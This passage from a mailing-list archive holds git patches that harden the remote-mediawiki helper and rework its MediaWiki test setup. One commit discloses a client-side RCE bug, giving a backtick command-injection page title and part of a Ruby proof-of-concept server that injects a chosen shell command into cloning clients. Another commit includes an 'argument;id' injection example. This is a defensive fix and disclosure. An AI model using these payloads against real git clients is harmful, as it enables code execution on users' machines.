b/contrib/mw-to-git/t/.gitignore\nindex a7a40b4964..2b8dc30c6d 100644\n--- a/contrib/mw-to-git/t/.gitignore\n+++ b/contrib/mw-to-git/t/.gitignore\n@@ -1,4 +1,4 @@\n WEB/\n-wiki/\n+mediawiki/\n trash directory.t*/\n test-results/\ndiff --git a/contrib/mw-to-git/t/install-wiki/.gitignore b/contrib/mw-to-git/t/install-wiki/.gitignore\ndeleted file mode 100644\nindex b5a2a4408c..0000000000\n--- a/contrib/mw-to-git/t/install-wiki/.gitignore\n+++ /dev/null\n@@ -1 +0,0 @@\n-wikidb.sqlite\ndiff --git a/contrib/mw-to-git/t/install-wiki/LocalSettings.php b/contrib/mw-to-git/t/install-wiki/LocalSettings.php\ndeleted file mode 100644\nindex 745e47e881..0000000000\n--- a/contrib/mw-to-git/t/install-wiki/LocalSettings.php\n+++ /dev/null\n@@ -1,129 +0,0 @@\n- and \n- *\n- */\n-$argc = $_SERVER['argc'];\n-$argv = $_SERVER['argv'];\n-\n-$login = $argv[2];\n-$pass = $argv[3];\n-$tmp = $argv[4];\n-$port = $argv[5];\n-\n-$url = 'http://localhost:'.$port.'/wiki/mw-config/index.php';\n-$db_dir = urlencode($tmp);\n-$tmp_cookie = tempnam($tmp, \"COOKIE_\");\n-/*\n- * Fetches a page with cURL.\n- */\n-function get($page_name = \"\") {\n-\t$curl = curl_init();\n-\t$page_name_add = \"\";\n-\tif ($page_name != \"\") {\n-\t\t$page_name_add = '?page='.$page_name;\n-\t}\n-\t$url = $GLOBALS['url'].$page_name_add;\n-\t$tmp_cookie = $GLOBALS['tmp_cookie'];\n-\tcurl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n-\tcurl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n-\tcurl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_HEADER, true);\n-\tcurl_setopt($curl, CURLOPT_URL, $url);\n-\n-\t$page = curl_exec($curl);\n-\tif (!$page) {\n-\t\tdie(\"Could not get page: $url\\n\");\n-\t}\n-\tcurl_close($curl);\n-\treturn $page;\n-}\n-\n-/*\n- * Submits a form with cURL.\n- */\n-function submit($page_name, $option = \"\") {\n-\t$curl = curl_init();\n-\t$datapost = 'submit-continue=Continue+%E2%86%92';\n-\tif ($option != \"\") {\n-\t\t$datapost = $option.'&'.$datapost;\n-\t}\n-\t$url = $GLOBALS['url'].'?page='.$page_name;\n-\t$tmp_cookie = $GLOBALS['tmp_cookie'];\n-\tcurl_setopt($curl, CURLOPT_URL, $url);\n-\tcurl_setopt($curl, CURLOPT_POST, true);\n-\tcurl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);\n-\tcurl_setopt($curl, CURLOPT_POSTFIELDS, $datapost);\n-\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n-\tcurl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_cookie);\n-\tcurl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_cookie);\n-\n-\t$page = curl_exec($curl);\n-\tif (!$page) {\n-\t\tdie(\"Could not get page: $url\\n\");\n-\t}\n-\tcurl_close($curl);\n-\treturn \"$page\";\n-}\n-\n-/*\n- * Here starts this script: simulates the behavior of the user\n- * submitting forms to generates the database file.\n- * Note this simulation was made for the MediaWiki version 1.19.0,\n- * we can't assume it works with other versions.\n- *\n- */\n-\n-$page = get();\n-if (!preg_match('/input type=\"hidden\" value=\"([0-9]+)\" name=\"LanguageRequestTime\"/',\n-\t\t$page, $matches)) {\n-\techo \"Unexpected content for page downloaded:\\n\";\n-\techo \"$page\";\n-\tdie;\n-};\n-$timestamp = $matches[1];\n-$language = \"LanguageRequestTime=$timestamp&uselang=en&ContLang=en\";\n-$page = submit('Language', $language);\n-\n-submit('Welcome');\n-\n-$db_config = 'DBType=sqlite';\n-$db_config = $db_config.'&sqlite_wgSQLiteDataDir='.$db_dir;\n-$db_config = $db_config.'&sqlite_wgDBname='.$argv[1];\n-submit('DBConnect', $db_config);\n-\n-$wiki_config = 'config_wgSitename=TEST';\n-$wiki_config = $wiki_config.'&config__NamespaceType=site-name';\n-$wiki_config = $wiki_config.'&config_wgMetaNamespace=MyWiki';\n-$wiki_config = $wiki_config.'&config__AdminName='.$login;\n-\n-$wiki_config = $wiki_config.'&config__AdminPassword='.$pass;\n-$wiki_config = $wiki_config.'&config__AdminPassword2='.$pass;\n-\n-$wiki_config = $wiki_config.'&wiki__configEmail=email%40email.org';\n-$wiki_config = $wiki_config.'&config__SkipOptional=skip';\n-submit('Name', $wiki_config);\n-submit('Install');\n-submit('Install');\n-\n-unlink($tmp_cookie);\n-?>\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex eb45a5a641..64e46c1671 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -13,7 +13,8 @@\n \n . ./test.config\n \n-WIKI_URL=http://\"$SERVER_ADDR:$PORT/$WIKI_DIR_NAME\"\n+WIKI_BASE_URL=http://$SERVER_ADDR:$PORT\n+WIKI_URL=$WIKI_BASE_URL/$WIKI_DIR_NAME\n CURR_DIR=$(pwd)\n TEST_OUTPUT_DIRECTORY=$(pwd)\n TEST_DIRECTORY=\"$CURR_DIR\"/../../../t\n@@ -291,28 +292,59 @@ stop_lighttpd () {\n \ttest -f \"$WEB_TMP/pid\" && kill $(cat \"$WEB_TMP/pid\")\n }\n \n-# Create the SQLite database of the MediaWiki. If the database file already\n-# exists, it will be deleted.\n-# This script should be runned from the directory where $FILES_FOLDER is\n-# located.\n-create_db () {\n-\trm -f \"$TMP/$DB_FILE\"\n+wiki_delete_db () {\n+\trm -rf \\\n+\t \"$FILES_FOLDER_DB\"/* || error \"Couldn't delete $FILES_FOLDER_DB/\"\n+}\n+\n+wiki_delete_db_backup () {\n+\trm -rf \\\n+\t \"$FILES_FOLDER_POST_INSTALL_DB\"/* || error \"Couldn't delete $FILES_FOLDER_POST_INSTALL_DB/\"\n+}\n \n-\techo \"Generating the SQLite database file. It can take some time ...\"\n-\t# Run the php script to generate the SQLite database file\n-\t# with cURL calls.\n-\tphp \"$FILES_FOLDER/$DB_INSTALL_SCRIPT\" $(basename \"$DB_FILE\" .sqlite) \\\n-\t\t\"$WIKI_ADMIN\" \"$WIKI_PASSW\" \"$TMP\" \"$PORT\"\n+# Install MediaWiki using its install.php script. If the database file\n+# already exists, it will be deleted.\n+install_mediawiki () {\n \n-\tif ! test -f \"$TMP/$DB_FILE\"\n+\tlocalsettings=\"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php\"\n+\tif test -f \"$localsettings\"\n \tthen\n-\t\terror \"Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first.\"\n+\t\terror \"We already installed the wiki, since $localsettings exists\" \\\n+\t\t \"perhaps you wanted to run 'delete' first?\"\n \tfi\n \n-\t# Copy the generated database file into the directory the\n-\t# user indicated.\n-\tcp \"$TMP/$DB_FILE\" \"$FILES_FOLDER\" ||\n-\t\terror \"Unable to copy $TMP/$DB_FILE to $FILES_FOLDER\"\n+\twiki_delete_db\n+\twiki_delete_db_backup\n+\tmkdir \\\n+\t\t\"$FILES_FOLDER_DB/\" \\\n+\t\t\"$FILES_FOLDER_POST_INSTALL_DB/\"\n+\n+\tinstall_script=\"$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php\"\n+\techo \"Installing MediaWiki using $install_script. This may take some time ...\"\n+\n+\tphp \"$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php\" \\\n+\t --server $WIKI_BASE_URL \\\n+\t --scriptpath /wiki \\\n+\t --lang en \\\n+\t --dbtype sqlite \\\n+\t --dbpath $PWD/$FILES_FOLDER_DB/ \\\n+\t --pass \"$WIKI_PASSW\" \\\n+\t Git-MediaWiki-Test \\\n+\t \"$WIKI_ADMIN\" ||\n+\t\terror \"Couldn't run $install_script, see errors above. Try to run ./install-wiki.sh delete first.\"\n+\tcat <<-'EOF' >>$localsettings\n+# Custom settings added by test-gitmw-lib.sh\n+#\n+# Uploading text files is needed for\n+# t9363-mw-to-git-export-import.sh\n+$wgEnableUploads = true;\n+$wgFileExtensions[] = 'txt';\n+EOF\n+\n+\t# Copy the initially generated database file into our backup\n+\t# folder\n+\tcp -R \"$FILES_FOLDER_DB/\"* \"$FILES_FOLDER_POST_INSTALL_DB/\" ||\n+\t\terror \"Unable to copy $FILES_FOLDER_DB/* to $FILES_FOLDER_POST_INSTALL_DB/*\"\n }\n \n # Install a wiki in your web server directory.\n@@ -321,7 +353,6 @@ wiki_install () {\n \t\tstart_lighttpd\n \tfi\n \n-\tSERVER_ADDR=$SERVER_ADDR:$PORT\n \t# In this part, we change directory to $TMP in order to download,\n \t# unpack and copy the files of MediaWiki\n \t(\n@@ -332,9 +363,11 @@ wiki_install () {\n \t\tPlease create it and launch the script again.\"\n \tfi\n \n-\t# Fetch MediaWiki's archive if not already present in the TMP directory\n+\t# Fetch MediaWiki's archive if not already present in the\n+\t# download directory\n+\tmkdir -p \"$FILES_FOLDER_DOWNLOAD\"\n \tMW_FILENAME=\"mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n-\tcd \"$TMP\"\n+\tcd \"$FILES_FOLDER_DOWNLOAD\"\n \tif ! test -f $MW_FILENAME\n \tthen\n \t\techo \"Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ...\"\n@@ -355,49 +388,12 @@ wiki_install () {\n \t\terror \"Unable to extract WikiMedia's files from $archive_abs_path to \"\\\n \t\t\t\"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \t) || exit 1\n+\techo Extracted in \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \n-\tcreate_db\n-\n-\t# Copy the generic LocalSettings.php in the web server's directory\n-\t# And modify parameters according to the ones set at the top\n-\t# of this script.\n-\t# Note that LocalSettings.php is never modified.\n-\tif ! test -f \"$FILES_FOLDER/LocalSettings.php\"\n-\tthen\n-\t\terror \"Can't find $FILES_FOLDER/LocalSettings.php \" \\\n-\t\t\t\"in the current folder. \"\\\n-\t\t\"Please run the script inside its folder.\"\n-\tfi\n-\tcp \"$FILES_FOLDER/LocalSettings.php\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" ||\n-\t\terror \"Unable to copy $FILES_FOLDER/LocalSettings.php \" \\\n-\t\t\"to $FILES_FOLDER/LocalSettings-tmp.php\"\n-\n-\t# Parse and set the LocalSettings file of the user according to the\n-\t# CONFIGURATION VARIABLES section at the beginning of this script\n-\tfile_swap=\"$FILES_FOLDER/LocalSettings-swap.php\"\n-\tsed \"s,@WG_SCRIPT_PATH@,/$WIKI_DIR_NAME,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SERVER@,http://$SERVER_ADDR,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SQLITE_DATADIR@,$TMP,\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\tsed \"s,@WG_SQLITE_DATAFILE@,$( basename $DB_FILE .sqlite),\" \\\n-\t\t\"$FILES_FOLDER/LocalSettings-tmp.php\" > \"$file_swap\"\n-\tmv \"$file_swap\" \"$FILES_FOLDER/LocalSettings-tmp.php\"\n-\n-\tmv \"$FILES_FOLDER/LocalSettings-tmp.php\" \\\n-\t\t\"$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php\" ||\n-\t\terror \"Unable to move $FILES_FOLDER/LocalSettings-tmp.php\" \\\n-\t\t\"in $WIKI_DIR_INST/$WIKI_DIR_NAME\"\n-\techo \"File $FILES_FOLDER/LocalSettings.php is set in\" \\\n-\t\t\" $WIKI_DIR_INST/$WIKI_DIR_NAME\"\n+\tinstall_mediawiki\n \n \techo \"Your wiki has been installed. You can check it at\n-\t\thttp://$SERVER_ADDR/$WIKI_DIR_NAME\"\n+\t\t$WIKI_URL\"\n }\n \n # Reset the database of the wiki and the password of the admin\n@@ -405,13 +401,18 @@ wiki_install () {\n # Warning: This function must be called only in a subdirectory of t/ directory\n wiki_reset () {\n \t# Copy initial database of the wiki\n-\tif ! test -f \"../$FILES_FOLDER/$DB_FILE\"\n+\tif ! test -d \"../$FILES_FOLDER_DB\"\n \tthen\n-\t\terror \"Can't find ../$FILES_FOLDER/$DB_FILE in the current folder.\"\n+\t\terror \"No wiki database at ../$FILES_FOLDER_DB, not installed yet?\"\n \tfi\n-\tcp \"../$FILES_FOLDER/$DB_FILE\" \"$TMP\" ||\n-\t\terror \"Can't copy ../$FILES_FOLDER/$DB_FILE in $TMP\"\n-\techo \"File $FILES_FOLDER/$DB_FILE is set in $TMP\"\n+\tif ! test -d \"../$FILES_FOLDER_POST_INSTALL_DB\"\n+\tthen\n+\t\terror \"No wiki backup database at ../$FILES_FOLDER_POST_INSTALL_DB, failed installation?\"\n+\tfi\n+\twiki_delete_db\n+\tcp -R \"../$FILES_FOLDER_POST_INSTALL_DB/\"* \"../$FILES_FOLDER_DB/\" ||\n+\t\terror \"Can't copy ../$FILES_FOLDER_POST_INSTALL_DB/* to ../$FILES_FOLDER_DB/*\"\n+\techo \"File $FILES_FOLDER_DB/* has been reset\"\n }\n \n # Delete the wiki created in the web server's directory and all its content\n@@ -425,13 +426,7 @@ wiki_delete () {\n \t\trm -rf \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ||\n \t\t\terror \"Wiki's directory $WIKI_DIR_INST/\" \\\n \t\t\t\"$WIKI_DIR_NAME could not be deleted\"\n-\t\t# Delete the wiki's SQLite database.\n-\t\trm -f \"$TMP/$DB_FILE\" ||\n-\t\t\terror \"Database $TMP/$DB_FILE could not be deleted.\"\n \tfi\n-\n-\t# Delete the wiki's SQLite database\n-\trm -f \"$TMP/$DB_FILE\" || error \"Database $TMP/$DB_FILE could not be deleted.\"\n-\trm -f \"$FILES_FOLDER/$DB_FILE\"\n-\trm -rf \"$TMP/mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n+\twiki_delete_db\n+\twiki_delete_db_backup\n }\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex 3ab56c7165..ed10b3e4a4 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -8,10 +8,6 @@ WIKI_PASSW=AdminPass1\n # Address of the web server\n SERVER_ADDR=localhost\n \n-# SQLite database of the wiki, named DB_FILE, is located in TMP\n-TMP=/tmp\n-DB_FILE=wikidb.sqlite\n-\n # If LIGHTTPD is not set to true, the script will use the default\n # web server running in WIKI_DIR_INST.\n WIKI_DIR_INST=/var/www\n@@ -28,13 +24,17 @@ WEB=WEB\n WEB_TMP=$WEB/tmp\n WEB_WWW=$WEB/www\n \n+# Where our configuration for the wiki is located\n+FILES_FOLDER=mediawiki\n+FILES_FOLDER_DOWNLOAD=$FILES_FOLDER/download\n+FILES_FOLDER_DB=$FILES_FOLDER/db\n+FILES_FOLDER_POST_INSTALL_DB=$FILES_FOLDER/post-install-db\n+\n # The variables below are used by the script to install a wiki.\n # You should not modify these unless you are modifying the script itself.\n-# tested versions: 1.19.X -> 1.21.1\n+# tested versions: 1.19.X -> 1.21.1 -> 1.34.2\n #\n # See https://www.mediawiki.org/wiki/Download for what the latest\n # version is.\n-MW_VERSION_MAJOR=1.21\n-MW_VERSION_MINOR=1\n-FILES_FOLDER=install-wiki\n-DB_INSTALL_SCRIPT=db_install.php\n+MW_VERSION_MAJOR=1.34\n+MW_VERSION_MINOR=2\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406034","messageId":"20200921104000.2304-19-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 18/18] remote-mediawiki: use \"sh\" to eliminate unquoted commands","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:40:00Z","receivedAt":"2020-09-21T10:40:45Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Remove the use of run_git_unquoted() completely with a use of \"sh -c\"\nsuggested by Jeff King, i.e.:\n\n sh -c '\"$@\" 2>/dev/null' -- echo sneaky 'argument;id'\n\nI don't think this is needed now for any potential RCE issue. The\n$remotename argument is ultimately picked by the local user (and\nsimilarly, the $local variable comes from a user-supplied\nrefspec).\n\nBut completely eliminating the use of unquoted shell arguments has a\nvalue in and of itself, by making the code easier to review. As noted\nin an earlier commit I think the use of IPC::Open3 would be too\nverbose here, but this \"sh -c\" trick strikes the right balance between\nreadability and semantic sanity.\n\nSuggested-by: Jeff King \nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 24 +++++++--------------\n 1 file changed, 8 insertions(+), 16 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex d21c18df7b..a5624413dc 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -371,8 +371,8 @@ sub get_mw_pages {\n \n # usage: $out = run_git_quoted([\"command\", \"args\", ...]);\n # $out = run_git_quoted([\"command\", \"args\", ...], \"raw\"); # don't interpret output as UTF-8.\n-# $out = run_git_unquoted([\"command args\"); # don't quote arguments\n-# $out = run_git_unquoted([\"command args\", \"raw\"); # ditto but raw instead of UTF-8 as above\n+# $out = run_git_quoted_nostderr([\"command\", \"args\", ...]); # discard stderr\n+# $out = run_git_quoted_nostderr([\"command\", \"args\", ...], \"raw\"); # ditto but raw instead of UTF-8 as above\n sub _run_git {\n \tmy $args = shift;\n \tmy $encoding = (shift || 'encoding(UTF-8)');\n@@ -391,8 +391,8 @@ sub run_git_quoted {\n _run_git([\"git\", @{$_[0]}], $_[1]);\n }\n \n-sub run_git_unquoted {\n- _run_git([\"git $_[0]\"], $_[1]);\n+sub run_git_quoted_nostderr {\n+ _run_git(['sh', '-c', 'git \"$@\" 2>/dev/null', '--', @{$_[0]}], $_[1]);\n }\n \n sub get_all_mediafiles {\n@@ -521,10 +521,8 @@ sub download_mw_mediafile {\n \n sub get_last_local_revision {\n \t# Get note regarding last mediawiki revision.\n-\t#\n-\t# It's OK to use run_git_unquoted() here because $remotename is\n-\t# supplied by the local git itself.\n-\tmy $note = run_git_unquoted(\"notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null\");\n+\tmy $note = run_git_quoted_nostderr([\"notes\", \"--ref=${remotename}/mediawiki\",\n+\t\t\t\t\t \"show\", \"refs/mediawiki/${remotename}/master\"]);\n \tmy @note_info = split(/ /, $note);\n \n \tmy $lastrevision_number;\n@@ -1189,16 +1187,10 @@ sub mw_push_revision {\n \tmy $mw_revision = $last_remote_revid;\n \n \t# Get sha1 of commit pointed by local HEAD\n-\t#\n-\t# It's OK to use run_git_unquoted() because $local is supplied\n-\t# by the local git itself.\n-\tmy $HEAD_sha1 = run_git_unquoted(\"rev-parse ${local} 2>/dev/null\");\n+\tmy $HEAD_sha1 = run_git_quoted_nostderr([\"rev-parse\", $local]);\n \tchomp($HEAD_sha1);\n \t# Get sha1 of commit pointed by remotes/$remotename/master\n-\t#\n-\t# It's OK to use run_git_unquoted() here because $remotename is\n-\t# supplied by the local git itself.\n-\tmy $remoteorigin_sha1 = run_git_unquoted(\"rev-parse refs/remotes/${remotename}/master 2>/dev/null\");\n+\tmy $remoteorigin_sha1 = run_git_quoted_nostderr([\"rev-parse\", \"refs/remotes/${remotename}/master\"]);\n \tchomp($remoteorigin_sha1);\n \n \tif ($last_local_revid > 0 &&\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406037","messageId":"20200921104000.2304-17-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 16/18] remote-mediawiki: convert to quoted run_git() invocation","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:58Z","receivedAt":"2020-09-21T10:40:46Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change those callsites that are able to call run_safe() with a quoted\nlist of arguments to do so.\n\nThis fixes a RCE bug in this transport helper reported by Joern\nSchneeweisz to the git-security mailing list. The issue is being made\npublic due to the relative obscurity of the remote-mediawiki code.\n\nThe security issue is that we'd execute a command like this via Perl's\n\"open -|\", where the $name is taken directly from the api.php\nresponse. So that a JSON response of e.g.:\n\n [...]\"title\":\"`id>/tmp/mw`:Main Page\"[..]\n\nWould result in an invocation of:\n\n git config --add remote.origin.namespaceCache \"`id>/tmp/mw`:notANameSpace\"\n\nFrom code such as this, which is being changed by this patch:\n\n run_git(qq(config --add remote.${remotename}.namespaceCache \"${name}:${store_id}\"));\n\nSo we'd execute an arbitrary command, and also put\n\"remote.origin.namespaceCache=:notANameSpace\" in the config. With this\nchange we quote all of this, so now we'll simply write\n\"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace\" into the\nconfig, and not execute any remote commands.\n\nAbout the implementation: as noted in [1] (see also [2]) this style of\ninvoking open() has compatibility issues on Windows up to Perl\n5.22. However, Johannes Schindelin notes that we shouldn't worry about\nWindows in this context because (quoting a private E-Mail of his):\n\n 1. The mediawiki helper has never been shipped as part of an\n official Git for Windows version. Neither has it ever been part\n of an official MSYS2 package. Which means that Windows users\n who want to use the mediawiki helper have to build Git\n themselves, which not many users seem to do.\n\n 2. The last Git for Windows version to ship with Perl v5.22.x was\n Git for Windows v2.11.1; Since Git for Windows\n v2.12.0 (released on February 25th, 2017), only newer Perl\n versions were included.\n\nSo let's just use this open() API. Grepping around shows that various\nother Perl code we ship such as gitweb etc. uses this way of calling\nopen(), so we shouldn't have any issues with compatibility.\n\nFor further reference and future testing, here's working exploit code\nprovided by Joern:\n\n #!/usr/bin/ruby\n # git client side RCE via `mediawiki` remote proof of concept\n # Joern Schneeweisz - GitLab Security Research Team\n\n require 'sinatra'\n set bind: '0.0.0.0'\n\n if not ARGV[0]\n\n puts \"Please provide the shell command to be execucted.\"\n exit -1\n\n end\n\n cmd = ARGV[0]\n all_pages = sprintf('{\"limits\":{\"allpages\":500},\"query\":{\"allpages\":[{\"pageid\":1,\"ns\":3,\"title\":\"`%s`:Main Page\"}]}}', cmd)\n revs = sprintf('{\"query\":{\"pages\":{\"1\":{\"pageid\":1,\"ns\":3,\"title\":\"`%s`:Main Page\",\"revisions\":[{\"revid\":1,\"parentid\":0,\"user\":\"MediaWiki default\",\"timestamp\":\"2020-09-04T20:25:08Z\",\"contentformat\":\"text/x-wiki\",\"contentmodel\":\"wikitext\",\"comment\":\"\",\"*\":\"/tmp/mw'`. Now when\n being cloned with `git clone mediawiki::http://localhost:4567` the\n file `/tmp/mw` will be created during the clone process,\n containing the output of `id`.\n\n1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command\n2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens\n\nReported-by: Joern Schneeweisz \nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 49 +++++++++++----------\n 1 file changed, 26 insertions(+), 23 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex 59cb277517..bbf68ddc46 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -56,38 +56,38 @@\n \n # Accept both space-separated and multiple keys in config file.\n # Spaces should be written as _ anyway because we'll use chomp.\n-my @tracked_pages = split(/[ \\n]/, run_git(\"config --get-all remote.${remotename}.pages\"));\n+my @tracked_pages = split(/[ \\n]/, run_git_quoted([\"config\", \"--get-all\", \"remote.${remotename}.pages\"]));\n chomp(@tracked_pages);\n \n # Just like @tracked_pages, but for MediaWiki categories.\n-my @tracked_categories = split(/[ \\n]/, run_git(\"config --get-all remote.${remotename}.categories\"));\n+my @tracked_categories = split(/[ \\n]/, run_git_quoted([\"config\", \"--get-all\", \"remote.${remotename}.categories\"]));\n chomp(@tracked_categories);\n \n # Just like @tracked_categories, but for MediaWiki namespaces.\n-my @tracked_namespaces = split(/[ \\n]/, run_git(\"config --get-all remote.${remotename}.namespaces\"));\n+my @tracked_namespaces = split(/[ \\n]/, run_git_quoted([\"config\", \"--get-all\", \"remote.${remotename}.namespaces\"]));\n for (@tracked_namespaces) { s/_/ /g; }\n chomp(@tracked_namespaces);\n \n # Import media files on pull\n-my $import_media = run_git(\"config --get --bool remote.${remotename}.mediaimport\");\n+my $import_media = run_git_quoted([\"config\", \"--get\", \"--bool\", \"remote.${remotename}.mediaimport\"]);\n chomp($import_media);\n $import_media = ($import_media eq 'true');\n \n # Export media files on push\n-my $export_media = run_git(\"config --get --bool remote.${remotename}.mediaexport\");\n+my $export_media = run_git_quoted([\"config\", \"--get\", \"--bool\", \"remote.${remotename}.mediaexport\"]);\n chomp($export_media);\n $export_media = !($export_media eq 'false');\n \n-my $wiki_login = run_git(\"config --get remote.${remotename}.mwLogin\");\n+my $wiki_login = run_git_quoted([\"config\", \"--get\", \"remote.${remotename}.mwLogin\"]);\n # Note: mwPassword is discouraged. Use the credential system instead.\n-my $wiki_passwd = run_git(\"config --get remote.${remotename}.mwPassword\");\n-my $wiki_domain = run_git(\"config --get remote.${remotename}.mwDomain\");\n+my $wiki_passwd = run_git_quoted([\"config\", \"--get\", \"remote.${remotename}.mwPassword\"]);\n+my $wiki_domain = run_git_quoted([\"config\", \"--get\", \"remote.${remotename}.mwDomain\"]);\n chomp($wiki_login);\n chomp($wiki_passwd);\n chomp($wiki_domain);\n \n # Import only last revisions (both for clone and fetch)\n-my $shallow_import = run_git(\"config --get --bool remote.${remotename}.shallow\");\n+my $shallow_import = run_git_quoted([\"config\", \"--get\", \"--bool\", \"remote.${remotename}.shallow\"]);\n chomp($shallow_import);\n $shallow_import = ($shallow_import eq 'true');\n \n@@ -97,9 +97,9 @@\n # Possible values:\n # - by_rev: perform one query per new revision on the remote wiki\n # - by_page: query each tracked page for new revision\n-my $fetch_strategy = run_git(\"config --get remote.${remotename}.fetchStrategy\");\n+my $fetch_strategy = run_git_quoted([\"config\", \"--get\", \"remote.${remotename}.fetchStrategy\"]);\n if (!$fetch_strategy) {\n-\t$fetch_strategy = run_git('config --get mediawiki.fetchStrategy');\n+\t$fetch_strategy = run_git_quoted([\"config\", \"--get\", \"mediawiki.fetchStrategy\"]);\n }\n chomp($fetch_strategy);\n if (!$fetch_strategy) {\n@@ -123,9 +123,9 @@\n # will get the history with information lost). If the import is\n # deterministic, this means everybody gets the same sha1 for each\n # MediaWiki revision.\n-my $dumb_push = run_git(\"config --get --bool remote.${remotename}.dumbPush\");\n+my $dumb_push = run_git_quoted([\"config\", \"--get\", \"--bool\", \"remote.${remotename}.dumbPush\"]);\n if (!$dumb_push) {\n-\t$dumb_push = run_git('config --get --bool mediawiki.dumbPush');\n+\t$dumb_push = run_git_quoted([\"config\", \"--get\", \"--bool\", \"mediawiki.dumbPush\"]);\n }\n chomp($dumb_push);\n $dumb_push = ($dumb_push eq 'true');\n@@ -984,7 +984,7 @@ sub mw_import_revids {\n }\n \n sub error_non_fast_forward {\n-\tmy $advice = run_git('config --bool advice.pushNonFastForward');\n+\tmy $advice = run_git_quoted([\"config\", \"--bool\", \"advice.pushNonFastForward\"]);\n \tchomp($advice);\n \tif ($advice ne 'false') {\n \t\t# Native git-push would show this after the summary.\n@@ -1028,7 +1028,7 @@ sub mw_upload_file {\n \t\t}\n \t} else {\n \t\t# Don't let perl try to interpret file content as UTF-8 => use \"raw\"\n-\t\tmy $content = run_git(\"cat-file blob ${new_sha1}\", 'raw');\n+\t\tmy $content = run_git_quoted([\"cat-file\", \"blob\", $new_sha1], 'raw');\n \t\tif ($content ne EMPTY) {\n \t\t\t$mediawiki = connect_maybe($mediawiki, $remotename, $url);\n \t\t\t$mediawiki->{config}->{upload_url} =\n@@ -1098,7 +1098,7 @@ sub mw_push_file {\n \t\t\t# with this content instead:\n \t\t\t$file_content = DELETED_CONTENT;\n \t\t} else {\n-\t\t\t$file_content = run_git(\"cat-file blob ${new_sha1}\");\n+\t\t\t$file_content = run_git_quoted([\"cat-file\", \"blob\", $new_sha1]);\n \t\t}\n \n \t\t$mediawiki = connect_maybe($mediawiki, $remotename, $url);\n@@ -1211,7 +1211,7 @@ sub mw_push_revision {\n \t\tmy $parsed_sha1 = $remoteorigin_sha1;\n \t\t# Find a path from last MediaWiki commit to pushed commit\n \t\tprint {*STDERR} \"Computing path from local to remote ...\\n\";\n-\t\tmy @local_ancestry = split(/\\n/, run_git(\"rev-list --boundary --parents ${local} ^${parsed_sha1}\"));\n+\t\tmy @local_ancestry = split(/\\n/, run_git_quoted([\"rev-list\", \"--boundary\", \"--parents\", $local, \"^${parsed_sha1}\"]));\n \t\tmy 